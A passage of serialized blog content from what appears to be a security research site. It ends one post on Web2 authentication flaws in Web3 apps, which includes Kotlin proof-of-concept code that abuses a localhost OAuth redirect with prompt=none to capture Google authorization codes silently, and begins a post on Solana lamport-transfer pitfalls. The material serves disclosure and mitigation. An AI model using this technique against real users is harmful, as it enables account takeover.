",{"type":25,"tag":216,"props":74569,"children":74570},{"style":7369},[74571],{"type":31,"value":74572},"Exception",{"type":25,"tag":216,"props":74574,"children":74575},{"style":6958},[74576],{"type":31,"value":18755},{"type":25,"tag":216,"props":74578,"children":74579},{"class":6916,"line":7551},[74580,74584,74588,74592,74596,74600,74605,74609,74614,74618,74622],{"type":25,"tag":216,"props":74581,"children":74582},{"style":6958},[74583],{"type":31,"value":74523},{"type":25,"tag":216,"props":74585,"children":74586},{"style":7041},[74587],{"type":31,"value":2393},{"type":25,"tag":216,"props":74589,"children":74590},{"style":6958},[74591],{"type":31,"value":1844},{"type":25,"tag":216,"props":74593,"children":74594},{"style":8199},[74595],{"type":31,"value":74537},{"type":25,"tag":216,"props":74597,"children":74598},{"style":6958},[74599],{"type":31,"value":7020},{"type":25,"tag":216,"props":74601,"children":74602},{"style":8199},[74603],{"type":31,"value":74604},"\"Error starting server: ",{"type":25,"tag":216,"props":74606,"children":74607},{"style":6930},[74608],{"type":31,"value":38065},{"type":25,"tag":216,"props":74610,"children":74611},{"style":6947},[74612],{"type":31,"value":74613},"e.message",{"type":25,"tag":216,"props":74615,"children":74616},{"style":6930},[74617],{"type":31,"value":38097},{"type":25,"tag":216,"props":74619,"children":74620},{"style":8199},[74621],{"type":31,"value":24014},{"type":25,"tag":216,"props":74623,"children":74624},{"style":6958},[74625],{"type":31,"value":74626},", e)\n",{"type":25,"tag":216,"props":74628,"children":74629},{"class":6916,"line":7568},[74630],{"type":25,"tag":216,"props":74631,"children":74632},{"style":6958},[74633],{"type":31,"value":62846},{"type":25,"tag":216,"props":74635,"children":74636},{"class":6916,"line":7585},[74637],{"type":25,"tag":216,"props":74638,"children":74639},{"style":6958},[74640],{"type":31,"value":7296},{"type":25,"tag":216,"props":74642,"children":74643},{"class":6916,"line":7598},[74644],{"type":25,"tag":216,"props":74645,"children":74646},{"emptyLinePlaceholder":16},[74647],{"type":31,"value":7636},{"type":25,"tag":216,"props":74649,"children":74650},{"class":6916,"line":7607},[74651],{"type":25,"tag":216,"props":74652,"children":74653},{"style":6921},[74654],{"type":31,"value":74655},"        // Open the Google OAuth page\n",{"type":25,"tag":216,"props":74657,"children":74658},{"class":6916,"line":7630},[74659,74664,74669,74673],{"type":25,"tag":216,"props":74660,"children":74661},{"style":6930},[74662],{"type":31,"value":74663},"        val",{"type":25,"tag":216,"props":74665,"children":74666},{"style":6958},[74667],{"type":31,"value":74668}," googleOAuthUrl ",{"type":25,"tag":216,"props":74670,"children":74671},{"style":6947},[74672],{"type":31,"value":266},{"type":25,"tag":216,"props":74674,"children":74675},{"style":8199},[74676],{"type":31,"value":74677}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":25,"tag":216,"props":74679,"children":74680},{"class":6916,"line":7639},[74681,74685,74690,74694,74699,74704,74708],{"type":25,"tag":216,"props":74682,"children":74683},{"style":6930},[74684],{"type":31,"value":74663},{"type":25,"tag":216,"props":74686,"children":74687},{"style":6958},[74688],{"type":31,"value":74689}," browserIntent ",{"type":25,"tag":216,"props":74691,"children":74692},{"style":6947},[74693],{"type":31,"value":266},{"type":25,"tag":216,"props":74695,"children":74696},{"style":7041},[74697],{"type":31,"value":74698}," Intent",{"type":25,"tag":216,"props":74700,"children":74701},{"style":6958},[74702],{"type":31,"value":74703},"(Intent.ACTION_VIEW, Uri.",{"type":25,"tag":216,"props":74705,"children":74706},{"style":7041},[74707],{"type":31,"value":43169},{"type":25,"tag":216,"props":74709,"children":74710},{"style":6958},[74711],{"type":31,"value":74712},"(googleOAuthUrl))\n",{"type":25,"tag":216,"props":74714,"children":74715},{"class":6916,"line":7648},[74716,74721],{"type":25,"tag":216,"props":74717,"children":74718},{"style":7041},[74719],{"type":31,"value":74720},"        startActivity",{"type":25,"tag":216,"props":74722,"children":74723},{"style":6958},[74724],{"type":31,"value":74725},"(browserIntent)\n",{"type":25,"tag":216,"props":74727,"children":74728},{"class":6916,"line":7716},[74729],{"type":25,"tag":216,"props":74730,"children":74731},{"style":6958},[74732],{"type":31,"value":7305},{"type":25,"tag":216,"props":74734,"children":74735},{"class":6916,"line":7724},[74736],{"type":25,"tag":216,"props":74737,"children":74738},{"emptyLinePlaceholder":16},[74739],{"type":31,"value":7636},{"type":25,"tag":216,"props":74741,"children":74742},{"class":6916,"line":7754},[74743,74748,74752,74757],{"type":25,"tag":216,"props":74744,"children":74745},{"style":6930},[74746],{"type":31,"value":74747},"    private",{"type":25,"tag":216,"props":74749,"children":74750},{"style":6930},[74751],{"type":31,"value":10152},{"type":25,"tag":216,"props":74753,"children":74754},{"style":7041},[74755],{"type":31,"value":74756}," startWebServer",{"type":25,"tag":216,"props":74758,"children":74759},{"style":6958},[74760],{"type":31,"value":19688},{"type":25,"tag":216,"props":74762,"children":74763},{"class":6916,"line":7762},[74764,74769,74774,74778,74783],{"type":25,"tag":216,"props":74765,"children":74766},{"style":7041},[74767],{"type":31,"value":74768},"        embeddedServer",{"type":25,"tag":216,"props":74770,"children":74771},{"style":6958},[74772],{"type":31,"value":74773},"(CIO, port ",{"type":25,"tag":216,"props":74775,"children":74776},{"style":6947},[74777],{"type":31,"value":266},{"type":25,"tag":216,"props":74779,"children":74780},{"style":6983},[74781],{"type":31,"value":74782}," 3000",{"type":25,"tag":216,"props":74784,"children":74785},{"style":6958},[74786],{"type":31,"value":18755},{"type":25,"tag":216,"props":74788,"children":74789},{"class":6916,"line":7794},[74790,74795],{"type":25,"tag":216,"props":74791,"children":74792},{"style":7041},[74793],{"type":31,"value":74794},"            routing",{"type":25,"tag":216,"props":74796,"children":74797},{"style":6958},[74798],{"type":31,"value":7235},{"type":25,"tag":216,"props":74800,"children":74801},{"class":6916,"line":7802},[74802,74807,74811,74816],{"type":25,"tag":216,"props":74803,"children":74804},{"style":6930},[74805],{"type":31,"value":74806},"                get",{"type":25,"tag":216,"props":74808,"children":74809},{"style":6958},[74810],{"type":31,"value":1844},{"type":25,"tag":216,"props":74812,"children":74813},{"style":8199},[74814],{"type":31,"value":74815},"\"{...}\"",{"type":25,"tag":216,"props":74817,"children":74818},{"style":6958},[74819],{"type":31,"value":18755},{"type":25,"tag":216,"props":74821,"children":74822},{"class":6916,"line":7862},[74823,74828,74833],{"type":25,"tag":216,"props":74824,"children":74825},{"style":6958},[74826],{"type":31,"value":74827},"                    call.",{"type":25,"tag":216,"props":74829,"children":74830},{"style":7041},[74831],{"type":31,"value":74832},"respondHtml",{"type":25,"tag":216,"props":74834,"children":74835},{"style":6958},[74836],{"type":31,"value":7235},{"type":25,"tag":216,"props":74838,"children":74839},{"class":6916,"line":12995},[74840,74845],{"type":25,"tag":216,"props":74841,"children":74842},{"style":7041},[74843],{"type":31,"value":74844},"                        head",{"type":25,"tag":216,"props":74846,"children":74847},{"style":6958},[74848],{"type":31,"value":7235},{"type":25,"tag":216,"props":74850,"children":74851},{"class":6916,"line":13013},[74852,74857,74862,74866,74871],{"type":25,"tag":216,"props":74853,"children":74854},{"style":7041},[74855],{"type":31,"value":74856},"                            meta",{"type":25,"tag":216,"props":74858,"children":74859},{"style":6958},[74860],{"type":31,"value":74861},"(charset ",{"type":25,"tag":216,"props":74863,"children":74864},{"style":6947},[74865],{"type":31,"value":266},{"type":25,"tag":216,"props":74867,"children":74868},{"style":8199},[74869],{"type":31,"value":74870}," \"UTF-8\"",{"type":25,"tag":216,"props":74872,"children":74873},{"style":6958},[74874],{"type":31,"value":7101},{"type":25,"tag":216,"props":74876,"children":74877},{"class":6916,"line":13058},[74878,74882,74887,74891,74896,74901,74905,74910],{"type":25,"tag":216,"props":74879,"children":74880},{"style":7041},[74881],{"type":31,"value":74856},{"type":25,"tag":216,"props":74883,"children":74884},{"style":6958},[74885],{"type":31,"value":74886},"(name ",{"type":25,"tag":216,"props":74888,"children":74889},{"style":6947},[74890],{"type":31,"value":266},{"type":25,"tag":216,"props":74892,"children":74893},{"style":8199},[74894],{"type":31,"value":74895}," \"viewport\"",{"type":25,"tag":216,"props":74897,"children":74898},{"style":6958},[74899],{"type":31,"value":74900},", content ",{"type":25,"tag":216,"props":74902,"children":74903},{"style":6947},[74904],{"type":31,"value":266},{"type":25,"tag":216,"props":74906,"children":74907},{"style":8199},[74908],{"type":31,"value":74909}," \"width=device-width, initial-scale=1.0\"",{"type":25,"tag":216,"props":74911,"children":74912},{"style":6958},[74913],{"type":31,"value":7101},{"type":25,"tag":216,"props":74915,"children":74916},{"class":6916,"line":13164},[74917,74922,74926,74931],{"type":25,"tag":216,"props":74918,"children":74919},{"style":7041},[74920],{"type":31,"value":74921},"                            title",{"type":25,"tag":216,"props":74923,"children":74924},{"style":6958},[74925],{"type":31,"value":1844},{"type":25,"tag":216,"props":74927,"children":74928},{"style":8199},[74929],{"type":31,"value":74930},"\"OAuth Redirect\"",{"type":25,"tag":216,"props":74932,"children":74933},{"style":6958},[74934],{"type":31,"value":7101},{"type":25,"tag":216,"props":74936,"children":74937},{"class":6916,"line":27449},[74938],{"type":25,"tag":216,"props":74939,"children":74940},{"style":6958},[74941],{"type":31,"value":74942},"                        }\n",{"type":25,"tag":216,"props":74944,"children":74945},{"class":6916,"line":27484},[74946,74951],{"type":25,"tag":216,"props":74947,"children":74948},{"style":7041},[74949],{"type":31,"value":74950},"                        body",{"type":25,"tag":216,"props":74952,"children":74953},{"style":6958},[74954],{"type":31,"value":7235},{"type":25,"tag":216,"props":74956,"children":74957},{"class":6916,"line":27492},[74958,74963,74967,74971,74976],{"type":25,"tag":216,"props":74959,"children":74960},{"style":7041},[74961],{"type":31,"value":74962},"                            h1",{"type":25,"tag":216,"props":74964,"children":74965},{"style":6958},[74966],{"type":31,"value":13536},{"type":25,"tag":216,"props":74968,"children":74969},{"style":6947},[74970],{"type":31,"value":3533},{"type":25,"tag":216,"props":74972,"children":74973},{"style":8199},[74974],{"type":31,"value":74975},"\"Google OAuth Redirect\"",{"type":25,"tag":216,"props":74977,"children":74978},{"style":6958},[74979],{"type":31,"value":13546},{"type":25,"tag":216,"props":74981,"children":74982},{"class":6916,"line":27500},[74983,74988],{"type":25,"tag":216,"props":74984,"children":74985},{"style":7041},[74986],{"type":31,"value":74987},"                            script",{"type":25,"tag":216,"props":74989,"children":74990},{"style":6958},[74991],{"type":31,"value":7235},{"type":25,"tag":216,"props":74993,"children":74994},{"class":6916,"line":27509},[74995,75000],{"type":25,"tag":216,"props":74996,"children":74997},{"style":6947},[74998],{"type":31,"value":74999},"                                +",{"type":25,"tag":216,"props":75001,"children":75002},{"style":8199},[75003],{"type":31,"value":75004},"\"document.body.innerText = location.search;\"\n",{"type":25,"tag":216,"props":75006,"children":75007},{"class":6916,"line":27551},[75008],{"type":25,"tag":216,"props":75009,"children":75010},{"style":6958},[75011],{"type":31,"value":75012},"                            }\n",{"type":25,"tag":216,"props":75014,"children":75015},{"class":6916,"line":27584},[75016],{"type":25,"tag":216,"props":75017,"children":75018},{"style":6958},[75019],{"type":31,"value":74942},{"type":25,"tag":216,"props":75021,"children":75022},{"class":6916,"line":27592},[75023],{"type":25,"tag":216,"props":75024,"children":75025},{"style":6958},[75026],{"type":31,"value":75027},"                    }\n",{"type":25,"tag":216,"props":75029,"children":75030},{"class":6916,"line":27600},[75031],{"type":25,"tag":216,"props":75032,"children":75033},{"style":6958},[75034],{"type":31,"value":75035},"                }\n",{"type":25,"tag":216,"props":75037,"children":75038},{"class":6916,"line":27609},[75039],{"type":25,"tag":216,"props":75040,"children":75041},{"style":6958},[75042],{"type":31,"value":62846},{"type":25,"tag":216,"props":75044,"children":75045},{"class":6916,"line":27685},[75046,75051,75056,75061,75065,75069],{"type":25,"tag":216,"props":75047,"children":75048},{"style":6958},[75049],{"type":31,"value":75050},"        }.",{"type":25,"tag":216,"props":75052,"children":75053},{"style":7041},[75054],{"type":31,"value":75055},"start",{"type":25,"tag":216,"props":75057,"children":75058},{"style":6958},[75059],{"type":31,"value":75060},"(wait ",{"type":25,"tag":216,"props":75062,"children":75063},{"style":6947},[75064],{"type":31,"value":266},{"type":25,"tag":216,"props":75066,"children":75067},{"style":6930},[75068],{"type":31,"value":16419},{"type":25,"tag":216,"props":75070,"children":75071},{"style":6958},[75072],{"type":31,"value":7101},{"type":25,"tag":216,"props":75074,"children":75075},{"class":6916,"line":27718},[75076],{"type":25,"tag":216,"props":75077,"children":75078},{"style":6958},[75079],{"type":31,"value":7305},{"type":25,"tag":216,"props":75081,"children":75082},{"class":6916,"line":27726},[75083],{"type":25,"tag":216,"props":75084,"children":75085},{"style":6958},[75086],{"type":31,"value":7868},{"type":25,"tag":38,"props":75088,"children":75089},{},[75090],{"type":31,"value":75091},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":25,"tag":38,"props":75093,"children":75094},{},[75095],{"type":31,"value":75096},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":25,"tag":607,"props":75098,"children":75100},{"id":75099},"mitigation-1",[75101],{"type":31,"value":44294},{"type":25,"tag":38,"props":75103,"children":75104},{},[75105,75107,75112],{"type":31,"value":75106},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":25,"tag":82,"props":75108,"children":75110},{"className":75109},[],[75111],{"type":31,"value":73729},{"type":31,"value":75113}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":25,"tag":26,"props":75115,"children":75116},{"id":32886},[75117],{"type":31,"value":22901},{"type":25,"tag":38,"props":75119,"children":75120},{},[75121],{"type":31,"value":75122},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":25,"tag":38,"props":75124,"children":75125},{},[75126],{"type":31,"value":75127},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":25,"tag":9310,"props":75129,"children":75130},{},[75131],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":75133},[75134,75141,75146,75149],{"id":73497,"depth":6763,"text":73500,"children":75135},[75136,75137,75138,75139,75140],{"id":73508,"depth":6772,"text":73511},{"id":73535,"depth":6772,"text":73538},{"id":73596,"depth":6772,"text":73599},{"id":73653,"depth":6772,"text":73656},{"id":73752,"depth":6772,"text":73755},{"id":73798,"depth":6763,"text":73801,"children":75142},[75143,75144,75145],{"id":73804,"depth":6772,"text":73807},{"id":73831,"depth":6772,"text":73834},{"id":44291,"depth":6772,"text":44294},{"id":74280,"depth":6763,"text":74283,"children":75147},[75148],{"id":75099,"depth":6772,"text":44294},{"id":32886,"depth":6763,"text":22901},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":75154,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":75155,"description":75156,"author":44410,"image":75157,"date":75159,"isFeatured":16,"tags":75160,"onBlogPage":16,"body":75161,"_type":6792,"_id":79815,"_source":6794,"_file":79816,"_stem":79817,"_extension":6797},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":75158,"height":17574,"width":17574},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[6809],{"type":22,"children":75162,"toc":79804},[75163,75167,75172,75186,75192,75197,75227,75232,75237,76275,76280,76288,76293,76299,76305,76317,76350,76362,76375,76387,76832,76837,76883,76889,76894,76981,76986,77000,77013,77676,77681,77693,77699,77710,77722,77876,77890,77909,77930,77936,77941,78286,78291,78297,78316,78330,78952,78957,78977,78982,78987,78993,79005,79026,79201,79207,79212,79513,79534,79546,79558,79642,79662,79674,79680,79692,79698,79703,79726,79738,79744,79756,79761,79767,79772,79777,79795,79800],{"type":25,"tag":26,"props":75164,"children":75165},{"id":32969},[75166],{"type":31,"value":32972},{"type":25,"tag":38,"props":75168,"children":75169},{},[75170],{"type":31,"value":75171},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":25,"tag":38,"props":75173,"children":75174},{},[75175,75177,75184],{"type":31,"value":75176},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":25,"tag":162,"props":75178,"children":75181},{"href":75179,"rel":75180},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[166],[75182],{"type":31,"value":75183},"King of the Ether",{"type":31,"value":75185},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":25,"tag":26,"props":75187,"children":75189},{"id":75188},"the-game-king-of-the-sol",[75190],{"type":31,"value":75191},"The Game: King of the SOL",{"type":25,"tag":38,"props":75193,"children":75194},{},[75195],{"type":31,"value":75196},"The game works like this:",{"type":25,"tag":2033,"props":75198,"children":75199},{},[75200,75212,75217,75222],{"type":25,"tag":2037,"props":75201,"children":75202},{},[75203,75205,75210],{"type":31,"value":75204},"Anyone can become the ",{"type":25,"tag":9267,"props":75206,"children":75207},{},[75208],{"type":31,"value":75209},"king",{"type":31,"value":75211}," by bidding at least 2× the previous bid.",{"type":25,"tag":2037,"props":75213,"children":75214},{},[75215],{"type":31,"value":75216},"The old king is reimbursed 95% of their bid.",{"type":25,"tag":2037,"props":75218,"children":75219},{},[75220],{"type":31,"value":75221},"The remaining 5% goes into a prize pot.",{"type":25,"tag":2037,"props":75223,"children":75224},{},[75225],{"type":31,"value":75226},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":25,"tag":38,"props":75228,"children":75229},{},[75230],{"type":31,"value":75231},"Simple, right?",{"type":25,"tag":38,"props":75233,"children":75234},{},[75235],{"type":31,"value":75236},"This is the core logic:",{"type":25,"tag":206,"props":75238,"children":75240},{"className":6909,"code":75239,"language":6908,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[75241],{"type":25,"tag":82,"props":75242,"children":75243},{"__ignoreMap":7},[75244,75259,75287,75302,75343,75350,75358,75409,75440,75447,75455,75470,75502,75509,75524,75555,75562,75569,75577,75594,75668,75676,75737,75749,75777,75817,75829,75845,75852,75860,75934,75946,75985,76013,76025,76040,76047,76055,76125,76169,76243,76250,76261,76268],{"type":25,"tag":216,"props":75245,"children":75246},{"class":6916,"line":6917},[75247,75251,75255],{"type":25,"tag":216,"props":75248,"children":75249},{"style":6958},[75250],{"type":31,"value":26777},{"type":25,"tag":216,"props":75252,"children":75253},{"style":7369},[75254],{"type":31,"value":26782},{"type":25,"tag":216,"props":75256,"children":75257},{"style":6958},[75258],{"type":31,"value":24212},{"type":25,"tag":216,"props":75260,"children":75261},{"class":6916,"line":6763},[75262,75266,75270,75275,75279,75283],{"type":25,"tag":216,"props":75263,"children":75264},{"style":6930},[75265],{"type":31,"value":17641},{"type":25,"tag":216,"props":75267,"children":75268},{"style":6930},[75269],{"type":31,"value":25105},{"type":25,"tag":216,"props":75271,"children":75272},{"style":7369},[75273],{"type":31,"value":75274}," ChangeKing",{"type":25,"tag":216,"props":75276,"children":75277},{"style":6958},[75278],{"type":31,"value":26862},{"type":25,"tag":216,"props":75280,"children":75281},{"style":7369},[75282],{"type":31,"value":26867},{"type":25,"tag":216,"props":75284,"children":75285},{"style":6958},[75286],{"type":31,"value":11227},{"type":25,"tag":216,"props":75288,"children":75289},{"class":6916,"line":6772},[75290,75294,75298],{"type":25,"tag":216,"props":75291,"children":75292},{"style":6958},[75293],{"type":31,"value":27069},{"type":25,"tag":216,"props":75295,"children":75296},{"style":6930},[75297],{"type":31,"value":7685},{"type":25,"tag":216,"props":75299,"children":75300},{"style":6958},[75301],{"type":31,"value":24212},{"type":25,"tag":216,"props":75303,"children":75304},{"class":6916,"line":6999},[75305,75309,75314,75318,75322,75326,75330,75334,75339],{"type":25,"tag":216,"props":75306,"children":75307},{"style":6930},[75308],{"type":31,"value":24797},{"type":25,"tag":216,"props":75310,"children":75311},{"style":6941},[75312],{"type":31,"value":75313}," throne",{"type":25,"tag":216,"props":75315,"children":75316},{"style":6947},[75317],{"type":31,"value":1466},{"type":25,"tag":216,"props":75319,"children":75320},{"style":7369},[75321],{"type":31,"value":27034},{"type":25,"tag":216,"props":75323,"children":75324},{"style":6958},[75325],{"type":31,"value":26862},{"type":25,"tag":216,"props":75327,"children":75328},{"style":7369},[75329],{"type":31,"value":26867},{"type":25,"tag":216,"props":75331,"children":75332},{"style":6958},[75333],{"type":31,"value":7020},{"type":25,"tag":216,"props":75335,"children":75336},{"style":7369},[75337],{"type":31,"value":75338},"Throne",{"type":25,"tag":216,"props":75340,"children":75341},{"style":6958},[75342],{"type":31,"value":10083},{"type":25,"tag":216,"props":75344,"children":75345},{"class":6916,"line":7104},[75346],{"type":25,"tag":216,"props":75347,"children":75348},{"emptyLinePlaceholder":16},[75349],{"type":31,"value":7636},{"type":25,"tag":216,"props":75351,"children":75352},{"class":6916,"line":7210},[75353],{"type":25,"tag":216,"props":75354,"children":75355},{"style":6921},[75356],{"type":31,"value":75357},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":25,"tag":216,"props":75359,"children":75360},{"class":6916,"line":7238},[75361,75365,75369,75374,75378,75383,75387,75392,75396,75400,75404],{"type":25,"tag":216,"props":75362,"children":75363},{"style":6958},[75364],{"type":31,"value":27069},{"type":25,"tag":216,"props":75366,"children":75367},{"style":6930},[75368],{"type":31,"value":7685},{"type":25,"tag":216,"props":75370,"children":75371},{"style":6958},[75372],{"type":31,"value":75373},", constraint ",{"type":25,"tag":216,"props":75375,"children":75376},{"style":6947},[75377],{"type":31,"value":266},{"type":25,"tag":216,"props":75379,"children":75380},{"style":6958},[75381],{"type":31,"value":75382}," old_king",{"type":25,"tag":216,"props":75384,"children":75385},{"style":6947},[75386],{"type":31,"value":179},{"type":25,"tag":216,"props":75388,"children":75389},{"style":6958},[75390],{"type":31,"value":75391},"key() ",{"type":25,"tag":216,"props":75393,"children":75394},{"style":6947},[75395],{"type":31,"value":12522},{"type":25,"tag":216,"props":75397,"children":75398},{"style":6958},[75399],{"type":31,"value":75313},{"type":25,"tag":216,"props":75401,"children":75402},{"style":6947},[75403],{"type":31,"value":179},{"type":25,"tag":216,"props":75405,"children":75406},{"style":6958},[75407],{"type":31,"value":75408},"king)]\n",{"type":25,"tag":216,"props":75410,"children":75411},{"class":6916,"line":7251},[75412,75416,75420,75424,75428,75432,75436],{"type":25,"tag":216,"props":75413,"children":75414},{"style":6930},[75415],{"type":31,"value":24797},{"type":25,"tag":216,"props":75417,"children":75418},{"style":6941},[75419],{"type":31,"value":75382},{"type":25,"tag":216,"props":75421,"children":75422},{"style":6947},[75423],{"type":31,"value":1466},{"type":25,"tag":216,"props":75425,"children":75426},{"style":7369},[75427],{"type":31,"value":29350},{"type":25,"tag":216,"props":75429,"children":75430},{"style":6958},[75431],{"type":31,"value":26862},{"type":25,"tag":216,"props":75433,"children":75434},{"style":7369},[75435],{"type":31,"value":26867},{"type":25,"tag":216,"props":75437,"children":75438},{"style":6958},[75439],{"type":31,"value":10083},{"type":25,"tag":216,"props":75441,"children":75442},{"class":6916,"line":7269},[75443],{"type":25,"tag":216,"props":75444,"children":75445},{"emptyLinePlaceholder":16},[75446],{"type":31,"value":7636},{"type":25,"tag":216,"props":75448,"children":75449},{"class":6916,"line":7290},[75450],{"type":25,"tag":216,"props":75451,"children":75452},{"style":6921},[75453],{"type":31,"value":75454},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":25,"tag":216,"props":75456,"children":75457},{"class":6916,"line":7299},[75458,75462,75466],{"type":25,"tag":216,"props":75459,"children":75460},{"style":6958},[75461],{"type":31,"value":27069},{"type":25,"tag":216,"props":75463,"children":75464},{"style":6930},[75465],{"type":31,"value":7685},{"type":25,"tag":216,"props":75467,"children":75468},{"style":6958},[75469],{"type":31,"value":24212},{"type":25,"tag":216,"props":75471,"children":75472},{"class":6916,"line":7551},[75473,75477,75482,75486,75490,75494,75498],{"type":25,"tag":216,"props":75474,"children":75475},{"style":6930},[75476],{"type":31,"value":24797},{"type":25,"tag":216,"props":75478,"children":75479},{"style":6941},[75480],{"type":31,"value":75481}," new_king",{"type":25,"tag":216,"props":75483,"children":75484},{"style":6947},[75485],{"type":31,"value":1466},{"type":25,"tag":216,"props":75487,"children":75488},{"style":7369},[75489],{"type":31,"value":29350},{"type":25,"tag":216,"props":75491,"children":75492},{"style":6958},[75493],{"type":31,"value":26862},{"type":25,"tag":216,"props":75495,"children":75496},{"style":7369},[75497],{"type":31,"value":26867},{"type":25,"tag":216,"props":75499,"children":75500},{"style":6958},[75501],{"type":31,"value":10083},{"type":25,"tag":216,"props":75503,"children":75504},{"class":6916,"line":7568},[75505],{"type":25,"tag":216,"props":75506,"children":75507},{"emptyLinePlaceholder":16},[75508],{"type":31,"value":7636},{"type":25,"tag":216,"props":75510,"children":75511},{"class":6916,"line":7585},[75512,75516,75520],{"type":25,"tag":216,"props":75513,"children":75514},{"style":6958},[75515],{"type":31,"value":27069},{"type":25,"tag":216,"props":75517,"children":75518},{"style":6930},[75519],{"type":31,"value":7685},{"type":25,"tag":216,"props":75521,"children":75522},{"style":6958},[75523],{"type":31,"value":24212},{"type":25,"tag":216,"props":75525,"children":75526},{"class":6916,"line":7598},[75527,75531,75535,75539,75543,75547,75551],{"type":25,"tag":216,"props":75528,"children":75529},{"style":6930},[75530],{"type":31,"value":24797},{"type":25,"tag":216,"props":75532,"children":75533},{"style":6941},[75534],{"type":31,"value":46200},{"type":25,"tag":216,"props":75536,"children":75537},{"style":6947},[75538],{"type":31,"value":1466},{"type":25,"tag":216,"props":75540,"children":75541},{"style":7369},[75542],{"type":31,"value":27098},{"type":25,"tag":216,"props":75544,"children":75545},{"style":6958},[75546],{"type":31,"value":26862},{"type":25,"tag":216,"props":75548,"children":75549},{"style":7369},[75550],{"type":31,"value":26867},{"type":25,"tag":216,"props":75552,"children":75553},{"style":6958},[75554],{"type":31,"value":10083},{"type":25,"tag":216,"props":75556,"children":75557},{"class":6916,"line":7607},[75558],{"type":25,"tag":216,"props":75559,"children":75560},{"style":6958},[75561],{"type":31,"value":7868},{"type":25,"tag":216,"props":75563,"children":75564},{"class":6916,"line":7630},[75565],{"type":25,"tag":216,"props":75566,"children":75567},{"emptyLinePlaceholder":16},[75568],{"type":31,"value":7636},{"type":25,"tag":216,"props":75570,"children":75571},{"class":6916,"line":7639},[75572],{"type":25,"tag":216,"props":75573,"children":75574},{"style":6958},[75575],{"type":31,"value":75576},"#[program]\n",{"type":25,"tag":216,"props":75578,"children":75579},{"class":6916,"line":7648},[75580,75584,75589],{"type":25,"tag":216,"props":75581,"children":75582},{"style":6930},[75583],{"type":31,"value":17641},{"type":25,"tag":216,"props":75585,"children":75586},{"style":6930},[75587],{"type":31,"value":75588}," mod",{"type":25,"tag":216,"props":75590,"children":75591},{"style":6958},[75592],{"type":31,"value":75593}," king_of_the_sol {\n",{"type":25,"tag":216,"props":75595,"children":75596},{"class":6916,"line":7716},[75597,75601,75605,75610,75614,75618,75622,75626,75630,75635,75639,75644,75648,75652,75656,75660,75664],{"type":25,"tag":216,"props":75598,"children":75599},{"style":6930},[75600],{"type":31,"value":24797},{"type":25,"tag":216,"props":75602,"children":75603},{"style":6930},[75604],{"type":31,"value":17646},{"type":25,"tag":216,"props":75606,"children":75607},{"style":7041},[75608],{"type":31,"value":75609}," 